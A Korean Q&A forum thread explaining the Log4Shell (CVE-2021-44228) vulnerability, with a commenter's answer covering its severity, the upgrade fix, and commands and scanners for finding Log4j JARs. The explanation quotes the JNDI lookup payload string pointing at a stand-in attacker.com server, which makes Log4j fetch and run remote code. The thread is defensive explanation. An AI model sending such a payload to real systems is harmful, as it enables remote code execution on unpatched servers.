본문 바로가기
Q&A2021년 12월 12일1분 읽기

Log4Shell(CVE-2021-44228) 취약점이 뭔가요?

권
권도현
조회 1162댓글 3

2021년에 터진 Log4Shell 취약점이 왜 그렇게 심각한 건가요? 자바를 안 써도 영향이 있나요?

댓글 3

김김영삼4년 전

Log4Shell은 Java 로깅 프레임워크 Log4j 2에서 발견된 원격 코드 실행(RCE) 취약점으로, CVSS 10.0(최고 위험도)입니다.

원리:

// 공격자가 이 문자열을 어딘가에 입력하면
${jndi:ldap://attacker.com/exploit}

// Log4j가 이를 로깅할 때 JNDI lookup을 실행
// 공격자 서버에서 악성 Java 클래스를 다운로드하여 실행

왜 심각한가:

  • Log4j는 Java 생태계에서 가장 많이 쓰이는 로깅 라이브러리
  • Apache, Elastic, Minecraft 서버 등 수억 대 영향
  • HTTP 헤더, 검색어, 채팅 메시지 등 어디서든 트리거 가능
  • 인증 없이 원격 코드 실행

대응: Log4j 2.17.0 이상으로 업그레이드. Java를 안 써도 내부에서 사용하는 서비스(Elasticsearch 등)가 Java 기반일 수 있으니 확인 필요합니다.

문문성민(guest)4년 전
Log4j를 쓰는지 어떻게 확인하나요?
김김영삼4년 전

확인 방법:

# 리눅스에서 Log4j JAR 파일 검색
find / -name "log4j-core-*.jar" 2>/dev/null

# Docker 컨테이너 내부 검색
docker exec container_name find / -name "log4j*.jar"

# 자동화 도구
# lunasec-io/lunasec (log4shell 스캐너)
# google/log4jscanner

Java 애플리케이션의 의존성에 간접적으로 포함된 경우도 있으니 mvn dependency:tree 또는 gradle dependencies로 전체 의존성을 확인하세요.

Ctrl+Enter로 등록